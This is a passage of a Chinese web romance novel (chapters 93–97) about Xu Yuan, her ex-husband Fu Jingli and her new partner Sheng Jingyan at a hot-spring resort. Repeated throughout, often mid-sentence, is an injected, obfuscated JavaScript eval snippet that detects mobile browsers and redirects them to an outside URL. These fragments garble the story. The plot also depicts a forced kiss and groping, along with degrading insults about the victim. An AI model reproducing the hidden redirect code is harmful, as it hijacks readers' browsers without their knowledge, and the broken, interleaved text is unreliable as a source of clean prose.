有些知道许愿和傅京礼是夫妻关系的,背地里议论许愿早就背叛傅京礼,早就跟盛景炎勾搭到一起了。 傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618046|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老爷子听到这话,冷笑连连。 “是我孙子对不起她!我这孙媳妇又温柔又善良,怎么可能会是他们口中的人?” 他就是这么想的,实在听不得有人说许愿的不是。 碍于傅老爷子的身份,真没有人忤逆老爷子,只能顺了老爷子的意。 老爷子心情沉重的回到老宅,满脑子都是许愿和傅京礼的事。 到底是老油条,许愿和傅京礼的感情如何,他怎么可能看不出来? 打从他们离婚那天起,他就已经知道了。 他装作什么都不知道的模样,就是为了想办法撮合两人。 可到底是走到了这一步。 盛家那小子,他也是听说过的。 听说他以前是圈子里有名的混不吝。 但其实 一直都在藏拙,最近才露出爪牙,吞并了盛家,是个了不得的人物。 傅老爷子有些难过。 许愿是他很疼爱的孙媳,他那么挑剔,也只接受许愿是他的孙媳。 老管家叹息:“老爷既然喜欢许愿小姐,那就给许小姐打个电话。许小姐那么在乎您,她或许会为了您,重回傅家。” 傅老爷子浑浊的双眼闪过丝丝缕缕精光。 “回来做什么,继续被阿礼伤害吗?” “阿礼不喜欢她,让他回来继续被冷待吗?” 傅老爷子起身修剪着房内的兰花:“阿愿送给我的兰花开得可真好,我自然也希望阿愿能过得更好,总要像这兰花一样,寻到个能长居的地方,而不是一直屈居在不懂她的人身边,像这盆曾经的兰花一样被埋没。” 老管家连连称是。 …… 夏日阳光正烈,晒得路面都有些软化。 傅氏建造的度假山庄矗立在郁郁葱葱的山林间,中国风的建筑,黑瓦白墙,小桥流水,亭台楼阁,颇有意境。 盛景炎因为临时有公务需要处理,许愿让他专心忙工作,自己在房间等他。 眼见盛景炎快回来了,许愿走到楼下前台,将一封信放到前台的服务员手中。 “盛先生来了后,把这封信交到他手中。” “好的许小姐。” 第93章 我们在接吻 许愿得到对方肯定的回答之后就离开了。 服务生一只耳朵里戴着蓝牙耳机,等许愿离开后才后知后觉的愣住了。 刚才许经理说把信交给谁呢? 她刚才只顾着听歌,没注意听要给谁了。 是给傅总吧? 许经理跟傅总关系那么好,这次因为莱蒂斯的案子,肯定也是要跟傅总解释的,这封信想必就是解释的信件。 服务员也担心因为自己耽搁出错,所以立刻用内线电话打给沈略反馈此事。 沈略接到电话时,整个人也有些发愣。 但显然,沈略和服务员想到一处去了。 都以为这封信是许愿写给傅京礼的解释信件。 对这些一概不知情的许愿算了下时间。 这个时间,还够她去泡个温泉的。 许愿伸了个懒腰,换了一条纯白色丝质睡裙,独自去了汤池。 许宁躲在暗处,阴恻恻的望着许愿轻快潇洒的身影。 她打算让傅京礼去许愿的汤池,并想让盛景炎看到许愿是个多么饥渴的女人! 明明已经离婚还要勾着傅京礼。 同时,她也要让傅京礼知道,许愿这个女人有多贪婪! 她取出手机打给前台,故意压低声音:“我是许愿,麻烦你们帮我联系傅总,就说我在竹林轩汤池等他。” 话落,也不等前台问更多,她挂断了电话。 远远看到前台手忙脚乱的身影,许宁不由得冷笑一声。 这件事最好是闹得越大越好! 让傅京礼看清许愿的真面目,让盛景炎发现自己被戴了绿帽。 许宁垂下头,握紧手机。 是时候让那些鬣狗记者们,也冲过来搜索些爆炸新闻了。 做完这一切,许宁功成身退,离开时肩膀都因为得意的狂笑而抖动。 许愿完了!她完了! 傅京礼今晚本就在度假村这里需要见客,谈完合作回到度假村后,他收到了前台递过来的那封信。 刚打开,就看到了里面纸条上轻盈飞扬的笔触,熟悉得令他心悸。 “傅总,许经理说她在竹林轩汤池等您。” 竹林轩,汤池。 傅京礼喉头微微发堵地嗯了一声,继而想也不想就朝竹林轩走去。 心脏怦怦,怦怦,怦怦直跳。 许愿为什么会在这种时候约自己? 难道是跟盛景炎分手了? 踏入竹林轩之前,傅京礼一直在思考这个问题。 然而,跨过那道窄窄的门槛之后,他的目光就克制不住地落在许愿的背影上。 竹林轩是一座小阁楼,东南西北都是雪白的墙壁,内有饮茶的矮几,悟禅的蒲团古色生香。 而他的目光,却只落在她的身上。 许愿穿着一条纯白丝质睡裙,她泡在汤池中,裸露的后背肌肤白皙柔嫩,因淡淡的热气笼罩泛着点些微的粉。 青涩的水汽纠缠着馥郁的花香,在逼仄的空间里酝酿。 视觉与嗅觉,都被这无边的美景侵占,只在一瞬间就夺走了傅京礼的心神。 他眸光幽深暗沉,已经不再去想更多,伸出手臂将人搂抱进怀中,死死的搂抱住。 雪松的冷冽,古木的厚重,以及一点点玫瑰的馥郁与柑橘的清爽蔓延在男人鼻端。 他俯身过去,凶狠地,狂热地堵住她的唇舌。 这种时候,谁还去想她为什么邀请会自己来这里? 他只想发泄自己此刻内心升腾而起的欲望。 他不清楚许愿为什么在这种时候背着盛景炎引诱自己,她明明是在劈腿,在勾引他,可他不想更多。 他只想掠夺,只想占有,只想做更多事。 许愿整个人都是惶恐的。 她胸腔不停起伏,瞳眸睁圆,拼命的想要推开紧紧搂抱着自己的男人。 可此刻的她根本反抗不及。 汤池内溅起水花,完全浸湿了她身上的睡裙。 窈窕完美的曲线尽显,已经能够完全感觉到男人克制不住的欲望。 后脑勺被一只大手死死摁住,薄唇又不得不紧贴在另一双薄唇上。 越发稀薄的空气让许愿挣扎后退,两人一同摔进汤池中。 “傅京礼……你疯了?” 许愿喘息着要想后退,几乎要踉跄的摔倒。 傅京礼立刻搂住他的腰,把她拉入怀中。 他气息不稳,嗓音沙哑地说道:“不是你邀我来的吗?” “我邀请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618047|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你?是你疯了还是我疯了!” 许愿很想发怒,被吻得绯红滚烫的脸蛋明明带着薄怒,却仍旧明艳动人。 “为什么这么激动?还有什么是我们之间没做过的?” 男人眸光幽暗,语气暧昧中却又透着明显的凉薄:“如果我们没有做那些措施,你早就已经为我生儿育女,现在还在害羞什么?” 男人开口后,再度吻上她的唇。 许愿的手绕到傅京礼后背,抡起拳头猛地捶打几下。 却因为呼吸愈发轻微,身体变得越来越软弱无力。 原来,男人和女人之间的体力差了这么多。 被侵犯时,她甚至没有任何反抗余力。 盛景炎…… 许愿眼前一片模糊,脑海中闪过盛景炎的名字。 帮帮她。 她不想继续沉沦,继续被当作工具,被肆无忌惮的使用伤害…… 与此同时,谈完合作的盛景炎早就收到了许愿的信息。 她人就在竹林轩,甚至还备了他喜欢的甜品茶点。 想到她,他的唇角不自觉地弯起一丝幅度,大步朝竹林轩走去。 还未踏入,已经听到内里发出的水声和呻吟声。 盛景炎浑身发冷,握着门把的手几乎用尽了全力。 远远的,他看到傅京礼和许愿肌肤相贴,几近赤裸。 而许愿面色潮红、身体发软,整个人仿佛已经全部瘫在傅京礼的怀中。 傅京礼听到声响,才转头看向来人。 两双深邃却冰冷的眸子,在空气中碰撞。 许愿终于能够推开傅京礼,跌坐在池沿的地面上,发出带着颤抖的喘息。 她身上的衣服已经彻底湿透紧贴在身上,唇瓣红肿,脸颊都泛着红晕,全然是一副被亲透了的模样。 要是盛景炎再晚来一步……怕就不只是亲吻了。 盛景炎死死盯着傅京礼,一步一步走进竹林轩的汤池间。 傅京礼伸出强健的手臂,把身体发软的许愿拉起来,重新抱回了怀中。 许愿用力推他,却无法撼动他一分一毫。 “你们在做什么?”盛景炎勾着薄唇问道。 他在笑,漆黑深眸里却流淌着熔岩一般无法浇熄的怒火。 第94章 许愿,让我吻你 “我们在接吻,你不是已经看见了吗?” 傅京礼沙哑的嗓音里,带着欲望被浅尝后的一丝餍足。 他把许愿牢牢禁锢在自己怀里,不准她有任何反抗的动作。 “傅京礼!你还在发疯!” 许愿跌跌撞撞的推开傅京礼,这次男人没有再桎梏着她。 可她即便是扶着墙也无法站稳,甩到男人脸上的一耳光毫无震慑力。 “傅京礼,你这是在犯罪!” 她踉跄着几近跌倒,却被人揽住腰。 最终跌倒在盛景炎怀中,被他结结实实的环抱住。 盛景炎的瞳眸幽暗深沉,死死的握住许愿的手臂。 “阿愿,告诉我,你要约的人是他还是我。” 盛景炎瞳眸漆黑,手臂扣住她的腰。 即便是此刻,也只是虚环住她的腰,没有用力。 他再度重复,声音沙哑的询问:“许愿,你要约的是他还是我?” “我约的是你,是盛景炎。” 她约的人当然是盛景炎。 盛景炎心里也猜得到许愿不会做这么愚蠢的事情,可即便如此,他还是想听到她亲口回答,她等的是他。 她的手握紧他的衣袖,眼尾似是有些发红。 盛景炎望着她,内心不受控制的涌动着一股酸涩感。 她如今的模样实在惹人怜爱。 眼睛是红的,唇瓣是肿的,身上的睡裙早已经被浸湿,紧紧贴着她曼妙的身体曲线。 他甚至能看到她此刻胸口处,被傅京礼手掌摁压留下的印记。 她是属于他的……是他的。 盛景炎眸光愈发晦涩,他的长指摩挲着她发肿的唇瓣,俯下身,双手捧住她苍白的脸颊,动作已经克制的放轻。 声音沙哑的请求:“许愿,让我吻你。” 这次,不再是想吻她,而是“让我吻你。” 两人此刻距离得这样近了,肌肤紧贴着,他已经俯下身几乎与她平视,能明显看到男人眼底的猩红。 这种时候,他仍然在征询她的意见。 在他心里,他或许早已将她看作是自己的人,但是因为她的抵触排斥,他从未做出过真正越界的举动。 哪怕是牵手,他都会敏锐的察觉到她的不悦和不喜,然后自然而然的为她开脱。 他已经……太温柔了。 傅京礼这个伤害过她的前夫都可以,那为什么他不可以? 凭什么他不可以? 明明现在,他才是她的恋人。 下一秒,许愿用行动代替回答了他的问题。 她长指攥住盛景炎的衣领,将他拉得俯低身体,与她平视。 两人几乎是脸贴着脸,她就这样自然的吻上去,贴上他的唇瓣,轻缓的吻着。 她的身体几乎在发抖,眼睛内的红意更加明显。 盛景炎整个人在她贴过来时,整个人已经僵住了,心跳仿佛在那一刻已经停滞。 他此刻好像听不到自己的心跳,周围的一切都像是消音寂静无声。 只有耳边传来属于许愿的喘息,嗅到属于她的甜香味道。 可隐隐的,能够闻到她身上沾带了其他雄性的味道。 他像是个圈地盘的雄兽一般,在反应过来后回吻着她,动作不算凶猛却带着不可抗拒的几分占有欲。 想在她身上留下属于自己的标志,想留下自己的味道。 想让她完全的只属于自己。 盛景炎这人在外风评并不好,多少人都说他虽然一直在藏拙,但是这些年也是真的浪子,在各大夜店游走。 数不清的红颜知己陪在他身边,不清不楚的不知睡过多少女人。 但盛景炎这些年,是真的干干净净。 逢场作戏时,他的搂抱都是虚环着对方,亲吻更是不曾有的。 哪怕是将人带进酒店,也只是在房间里看几个小时的文件。 到点后就会给对方一张价格不菲的支票,让对方离开,给人造成一种他流连温柔乡的错觉。 那些女人最喜欢陪他,只要在酒店房间内待上几个小时就有一大笔钱拿,这么好的事,谁不想有? 盛景炎没有碰过任何女人,曾被那群人猜测过是不是不行。 她们根本不知道,盛景炎不做,更多的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巨大的失望和落寞,让傅京礼胸中一闷,仿佛被生生挖走了一块鲜活跳动的血肉。 那种属于自己的东西被人硬生生夺走的感觉,让他连呼吸都不顺畅了。 他望着两人,瞳眸幽暗的盯紧两人。 他多想冲过去攥住许愿的手腕,将她抢夺回自己身边。 可是凭什么呢? 许愿凭什么跟他走? 他们已经离婚了,许愿已经有了新的恋人。 第95章 她已经脏了 脑海中闪过许愿陪伴在身边时看向自己的眼神,是那样认真专注,藏着明显的温柔爱意。 可这么短的时间,许愿就已经奔向旁人,像是一种背叛。 傅京礼望着两人相拥亲密的身影,眸光愈发晦涩。 傅京礼站在明亮的耀眼的灯光下,默默凝望拥吻的两人。 灼热的温度属于他,而他却只觉得指尖发冷。 两人不知吻了多久,傅京礼的目光一直未曾离开,明明心尖在滴着血,却还是像自虐一般看着他们亲热。 直到两人终于分开,许愿才像是承受不住一般,软了身体。 却被盛景炎像是搂抱珍宝一般打横抱起,放置到汤池外面的长椅上,让她舒舒服服的躺在上面。 她的眼睛是发红发亮的,清冷的黑眸里染带着几分情欲,唇瓣是由他亲吻的发红。 她这样软软的躺在长椅上,甚至缩成一团,想要将自己整个人团起来,躲避旁边那道过于灼热逼仄的眼神。 盛景炎能明显感受到胸腔燃起的不受控制的热意,那种满足感,根本无法言表。 他清楚的知道,直到刚才,两人之间的关系才算是真正的更近一步。 朦胧之间,好像突破了那层防线,让两人忘记最初的交易目的,更趋向于真正的恋人关系。 他取了打开房间内的橱柜,取出一条薄被搭盖在许愿身上,方才重新抱起她,将她放置到隔间的休息室。 “把身上的衣服换下来,小心生病感冒。” 说完这些,盛景炎没有留下更多的话,就已经冲出休息室关上房门,然后冲到傅京礼面前,握住他的衣领,一拳狠狠砸到傅京礼脸上。 男人眼神凶狠,甚至带上凛冽的杀意。 他怎么可能不在乎? 怎么可能不心痛? 推开门看到许愿被傅京礼扣在怀中强迫,他甚至想杀了他! “傅京礼,你听好了,许愿现在是我的人,你要发疯就去找你的新情人,不要恬不知耻的侵犯许愿!” “你们已经离婚了,听明白了吗?” 他紧握着傅京礼的领口,眼里都是弑杀的狠意。 “离婚”两个字砸到傅京礼心头,他一时未能反应过来,已经被掀翻到汤池中,翻起的浪花喷涌,将他整个人彻底浸湿。 盛景炎眼神冰冷的站在一旁,居高临下的看着他,狭长的眼眸中带着明显的危险之意。 傅京礼从汤池中站起来,一手撑在边缘处,抬起的那双眼幽暗沉郁,仿佛深海旋涡,一眼望去就要将人完全吸进去。 盛景炎说这些是什么意思? 是觉得他真的在乎许愿吗? 不,他当然不在乎。 在他眼里,许愿是他从没有动心甚至已经厌倦的女人。 他当然不在意许愿,也从不在意。 “盛景炎。” 傅京礼像是嗤笑一声,那张一直都充满冷感的脸带着讥讽的冷嘲,黑眸藏匿着破碎的寒冰。 “你以为我把许愿当做什么?” 傅京礼声音冷淡,眼神逼仄。 已经换好衣服披上外套的许愿缓缓走来,听到这句话愣怔片刻,站在原地。 她也很想知道傅京礼的心里究竟把她看做什么。 “我和她的开始,就是错的。” “是她演了出好戏,设计了我们的这段婚姻,你以为我在乎她?我当然不会在乎,从结婚当天我就告诫过她,我这辈子都绝不可能对她动心!” “她在我心里,只是可以解决生理需求发泄的廉价工具,傅氏的工作需要她,我的身体需要她,至于感情那不是她能得到的东西。” 傅京礼已经踏出汤池,解开领带,目光讥嘲的凝视着盛景炎。 “也亏你对她这么珍重在意。” “一个被我娶了三年的女人,在你还没有触碰时,我就已经玩腻了。” 傅京礼拽扯住盛景炎的领口,冷嘲:“她的身体早就习惯了我的占有,只要我吻她,她就一定会回应,你以为她为什么会约我来这里?无非是想满足最基本的生理需求。” “而你这个新上任的恋人,根本无法满足她。” 他开口的话语句句带刺,全都是嘲讽,几乎要将许愿贬进泥潭。 他真的这样想吗? 他不过是不甘,为什么许愿会在这么短的时间内有了新的爱人,将他抛到脑后。 他不甘许愿为什么要在他面前,跟盛景炎如此亲密…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618049|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 属于他的东西,却被别的男人触碰亲热,在他眼里已经脏掉了。 傅京礼冷笑:“她现在被你碰过,对我来说已经脏了,我不会要一个脏掉的女人。” 他就这样直言,许愿脏了。 盛景炎黑眸愈发狠厉,那双一直含笑的眼镜尽是寒芒,空气中有看不见的涟漪震荡开去,像是夜晚无风而起的水波,带来阵阵凉意。 “傅京礼,你也算是个男人!” 盛景炎一拳已经狠狠砸过去,这次傅京礼握住他的拳头反抗。 傅京礼因为遭遇过意外,一直学着格斗术。 盛景炎亦然。 两人已经扭打到一起,拳拳到肉、 毫不相让。 盛景炎是想要为许愿出气,他不希望自己未来的妻子被人如此侮辱。 而傅京礼的反击则是因为不甘,不甘许愿背叛他。 许愿就站在门边看着这一幕,看着两个男人因为她而扭打着。 傅京礼说的那些话,她一句不落的全都听见了。 他说她是解决生理需求发泄的廉价工具。 他说他永远不会在乎她,一辈子都不会爱她。 他说……她脏了…… 哈。 许愿捂住自己的嘴转过身去,眼前已经不受控制的模糊一片,什么都看不真切。 她不该为这个哭的。 现在还要因为傅京礼说这些伤害她的话而哭泣,不是代表她还在意傅京礼吗? 她不能这么没用。 可是……真的控制不住。 内心的酸楚痛苦逐渐蔓延着,眼眶愈发红了,眼泪不停掉落。 眼泪“啪嗒”的掉落在地面上。 她在悲伤,她在哭泣,没人听得到。 明知道不该在乎,明明一遍又一遍的告诫自己不要再爱傅京礼。 可她爱了那么久的男人,她付出的感情,要如何收回呢? 曾经的傅京礼,不是这样的…… 她握紧自己的手,重新回到休息室,找到一个木盆,装满了冷水,然后一步一步走到还在厮打纠缠的两人面前。 “哗——” 一盆冰水,尽数洒到两人身上。 第96章 你在为他哭泣吗 木盆中的水掺杂着碎冰块,全都被洒到两人身上,那股凉意也让还在怒火不停上涌的男人们静下来。 盛景炎声音沙哑夹杂着明显的怒意。 “阿愿,我只是想出口气。” 听到傅京礼开口说出那些话,盛景炎早就忍不了了,所以才会动手。 许愿是他的女人,他不允许任何人侮辱她。 他更加不能忍受傅京礼如此轻描淡写的接受了许愿三年的炽热感情,最终却只只留下一句“她活该”。 可笑又可恶。 “没必要的。” 许愿拢紧身上的外套,她像是感受到了凉意,可还是唇角路出抹浅淡的笑意。 那笑容温温柔柔宛若冬日过后春日来临冰雪融化流动的春水,烂漫、清澈。 “他说的那些,我都不在意了。” 话音刚落,两个男人全都怔住了。 谁都没有想到许愿已经听到了那段话。 盛景炎一把推开傅京礼,从冰冷的地面上站起。 他冲到许愿面前,将手伸到她的头顶,似乎是想要摸摸她、安慰她。 可伸到中途,想起自己的身上都是冷的,便又讪讪的收回了手。 下一秒,手掌触及一片温热柔软。 许愿主动伸出白皙纤细的手掌,轻轻地握住了他的大掌。 盛景炎顿住,默默感受着手心传来的温热。 “我不冷,你可以摸摸看。” 此刻,许愿清冷的眸都漾着笑,可眼睛仍然是发红的,藏匿着数不尽的悲伤。 “许愿,你不在意我在意。”他收回手,哑声回应。 许愿微微垂下眼睫,很轻很缓的叹了口气。 “我和傅京礼早就已经是过去式了,他既然那样说,我们之间也确实该做个了断。” 许愿放下盛景炎的手,一步一步走到傅京礼面前。 男人此刻已经站起了身。 许愿意味深长的看着他。 男人身材修长,眸色如墨,一如既往的高大俊美。 这个人她抱过、吻过,做过很多亲密的事,却从没有真的看透他,也从来没有得到过他的心。 他就这样冷冷的站在这里,与她对视。 四目相对时,许愿的眼底多了几分忧伤。 那种酸胀的感觉在胸口密密麻麻的蔓延四散,喉间像是被堵住一般难受。 “傅京礼,我在你的心里就这样低贱吗?” 她平静的看着他,唇角带着浅淡的笑意,那笑明显带着苦涩感。 “结婚三年,我和你经历过的事情不算少,我是什么样的人,你还不知道吗?你觉得我们两个人的婚姻,是我在算计你?” 男人不语。 “那晚你酒杯中的药物,不是我加进去的。我是想过跟你结婚,但我想的是光明正大跟你谈判交易,以婚姻作为媒介缔结婚姻签署协议,而不是……用那样下作的手段,让你不清楚状况的占据我!” “事情的经过,你大可派人去查。可我的解释你从来不信,你就是要把我想得如此拙劣。” 三年前,那晚的宴会太过混乱。 是傅京礼闯入了她的休息间占有了她,并非是她蓄意勾引才有了后来的婚姻。 她一直都是无辜的。 “傅京礼,我没有伤害过你。” 她望着他,那双清冷的瞳眸中闪烁着细碎忧伤的星芒。 “可你为什么一定要三翻四次地伤害我呢。” 为什么要伤害她? 为什么要贬低她? 为什么不把她当个人看待呢? 仅仅因为她不是他所爱之人吗? 那她这些年倾注的热烈爱意,又算什么? 他可以不爱,但他为什么非要如此残忍折磨着她的内心呢? 许愿握紧自己的手,脸色苍白,虚弱的抿了下唇。 “如果重新给我选择的机会,我不会去参加那晚的那场宴会。” “也不会再愿意嫁给你。” “我已经让出傅太太的位置。” “所以,你该放过我了。” 许愿看着他的眼镜,一字一顿:“傅京礼,我不爱你了,你放过我吧。” 一番话,让傅京礼喉头堵得愈发厉害。 让他清晰感觉到,自己好像失去了一个很重要的东西。 他前面说的那些话,不是他的本意。 他只是嫉妒到失控,才克制不住才说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618050|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出那些话来反击盛景炎。 可那些话,到底是被许愿听了去,到底是伤到了她。 “抱歉。” 傅京礼用隐藏着一丝痛楚的沙哑嗓音,说出了歉语。 许愿仍然站在原地,听到他的话,整个人明显愣了一瞬,片刻后才垂下头轻笑一声。 “我不会说没关系的。” 她看着傅京礼,退后几步:“因为,你真的伤到我了。” 话落,她拢紧身上的外套,转身疾步离去。 她脚步很快,转瞬便只能看到残影。 盛景炎担心她出意外,紧随其后。 傅京礼赤红的眼放射出冰冷的光,像刀刃一般向盛景炎的背影。 转瞬, 黑眸却又变得深沉。 他知道,那些话出口后,许愿可能真的要属于盛景炎了。 该怪谁呢? 只能怪他咎由自取。 傅京礼抚着吻过许愿的薄唇,用极度克制的心情,去隐秘品尝这份带着苍白之意的甘甜。 他慢慢在池沿边坐下,垂眸看向汤池,池内有一枚珍珠耳环,是她在争执时掉落的。 他抬手扶额,布满血丝的暗沉双眸,无能为力地缓缓闭上…… 许愿脚步很快,几乎是在奔跑,盛景炎紧紧地追在她的身后。 他是真的担心许愿滑倒受伤,她现在的身体承受不住更多病痛。 “许愿,为什么要跑这么快。” 他终于抓住许愿细嫩的手腕,紧握着让她停下脚步。 许愿低下头,额前的发遮住她那双眸。 盛景炎感觉到不对,双手捧住她的脸,迫使她抬头。 却见她脸上沾满泪水,不停向下滚落着眼泪,眼镜红肿的尽是泪意。 她在哭。 在听到傅京礼说那些话时,她就在哭。 在跟傅京礼完全挑明关系时,她已经在强压着泪意,根本无法克制所以才会匆忙离开。 她知道自己这样很没用,可感情不可控的。 她没办法立刻就将傅京礼从内心完全驱逐出去。 “你在为他哭吗?” 盛景炎长指拢过她的碎发,擦拭着她眼角的泪水。 第97章 可不可以让我吻你 盛景炎双手捧着她的脸,垂眸时狭长的眼眸中闪过几分无奈。 带笑的眼睛在看向她时,是带着柔意的。 那种柔意或许不代表有多少汹涌的爱意,只因为像是雄兽将她纳入了自己的保护圈,看作是亲密关系,才会纵容关注。 长指抹去她不停滚落的眼泪。 许愿是真的很漂亮。 此刻她脸颊眼睛都是红的,那本该盛满星光的眼睛仿佛只剩下破碎的光芒,鼻头也像是泛着粉,眼泪一颗一颗从眼角滚落,泪眼婆娑梨花带雨。 她逃得这样快,是知道要忍不住落泪,不想让傅京礼看到她此刻狼狈的模样吗? 哪怕是知道她为了别的男人流泪,盛景炎的内心还是止不住的心软、悸动。 男人的心尖有微微酸涩的痛意。 他无视了这种感觉,却听到许愿带着哭腔的开了口:“我这样……是不是很没用?” 在感情中,她输得一塌糊涂。 她清楚自己会输给傅京礼。 先动心的人本就是输家,可她没想过自己会输得这么狼狈。 “为什么会没用。” 盛景炎望着她,声音和缓。 “感情是不可控的,如果我是你,或许我会因为自己付出的感情纠缠着对方,让他在选择离开我的那一刻就只能被我困在身边,只能看着我爱着我……跟我比起来,你多洒脱,你这样坚定决然的放弃了曾经付出的感情,你才是勇者。” 他的话像是带着小勾子,将她的注意力引到其他方向。 他在提醒在告诫,让她清楚的知道他是什么样的人,一旦真的选择跟他在一起,就不会再有离开的可能了。 许愿听出他话中未尽之意。 但既然已经选择了盛景炎,还没有真正走到那一步时,她不会后悔。 许愿的心忽地安定下来了。 “看来你没打算反悔,那么……需要我给你一个拥抱吗?” 男人话落,才想起自己身上的衣服还是湿的,他捏了下眉心:“我想我需要先换件衣服才能抱你了。” 回到最开始定制的包厢,才推门而入就见房间内摆着个小蛋糕。 房间内张灯结彩的,布置得有点喜庆,盛景炎挑了下眉:“我怎么不知道你审美这么奇特。” 许愿拨弄了下贴在墙壁上的红色气球。 “过生日当然要开开心心的,大俗就是大雅。” 盛景炎忍不住轻笑:“这配色,我可不觉得雅。” 许愿用红彤彤的眼睛望向他,盛景炎立刻举手示意:“不管雅不雅,我都很喜欢。” 许愿终于弯了下唇,即便笑容有点勉强。 “盛景炎,许个愿吧。”她开口。 盛景炎握住她的手,指尖在她掌心摩挲:“那也请许愿小姐跟我一起许个愿?” 蛋糕只有四寸大小,很小一个。 许是考虑到晚上不能吃太多甜食,许愿才选了这样小的蛋糕。 男人点燃蛋糕上的蜡烛,关上房间内的灯光, 烛火被风吹得摇曳生姿,而她柔美的侧脸也在烛火的映照下明艳美丽。 盛景炎看着许愿闭上眼睛,像是真的在许愿,唇角不禁勾出一抹笑。 他望着小蛋糕上的烛火。 他已经得到了盛家,以后很多事他都能凭着自己的能力得到。 那么他先许一个小小的愿望,希望明年还能有身边的人陪他过生日。 许愿睁开眼时,对上男人含笑的眼。 他生了双多情的眼睛,此刻房间昏暗,只有微亮的烛火闪耀着火光,衬得那双黑眸闪烁着星星点点的光芒。 “你看着我做什么?” 她脸颊隐隐发烫,被他那般炽热的眼神看得身体发软。 他逐渐凑近,整张脸逼近她,望着她看着她。 “我在想。” 灼热的呼吸喷洒在她脸上,空气仿佛都多了几分暧昧之意。 “作为真正的生日礼物,可不可以让我吻你。” 许愿偏头,不想对上他此刻太过灼热的目光。 盛景炎低笑一声,长指捏住她的下巴,很轻很轻的力道,她也没有反抗的心思,头再次扭过来。 “你想要的生日礼物,不是那根钢笔吗?” 许愿开口驳回他的请求。 “可我有点贪心。” 盛景炎捧着她的脸,额头抵着她的额头:“我们已经有过亲密接触了,我就是这样贪婪的人,那样缠绵的吻过,我怎么可能再退回原来的不冷不热的位置?我只会再进一步,想更靠近你多一点。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618051|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的声音带着几分蛊惑人心的哑意。 “许愿,让我吻一下。” 他得寸进尺。 许愿微微后退。 男人的手掌已经制住她的腰肢,揽进怀中。 许愿偏头:“你最好只是吻一下。” 他喉间溢出笑。 “那我可不能保证。” 说罢,已经捧着她的脸颊再度吻上去。 不过是第二次接吻,就已经丢了先前的青涩,勾动着她的舌尖,许愿脸颊愈发红了。 许久后盛景炎抚了抚许愿微红 的脸颊,笑着低语:“这份礼物,我很喜欢。” 许愿整个人已经彻底软了,平日里清冷的眼眸泛着几许水光,已不见方才的愁绪,倒像是被疼爱过后的模样。 “不是说吻一下?” 许愿拽住他的衣领,秋后算账。 “都说了,不能保证。” 盛景炎下巴贴在她肩上,将她整个环抱在怀中,像是抱着大型玩偶。 触到的肌肤柔软细腻,让他很想完全不去控制自己内心的渴望,然后……去做更多事。 会吓到她的。 所有的渴望最终都藏到心底,只将人搂抱得更紧,以掩藏自己的欲望。 …… 盛景炎生日当天汤池没能泡上,只简单吃了个小蛋糕。 而后,许愿睡在了酒店的床上。 盛景炎怕她一个人难受,将沙发挪到床旁边,睡在沙发上陪她。 很难得的,这一晚许愿睡得特别好,全程无梦。 第二天用过早饭,两人走在通往温泉池的幽静小路上。 路两旁种满了芭蕉树,巨大的树叶片片垂落,在晚风中轻摆。 前方不远处,一道高大的身影站在暗处默默吸着烟,亮红的烟蒂一明一灭,有些寂寥。 是傅京礼。 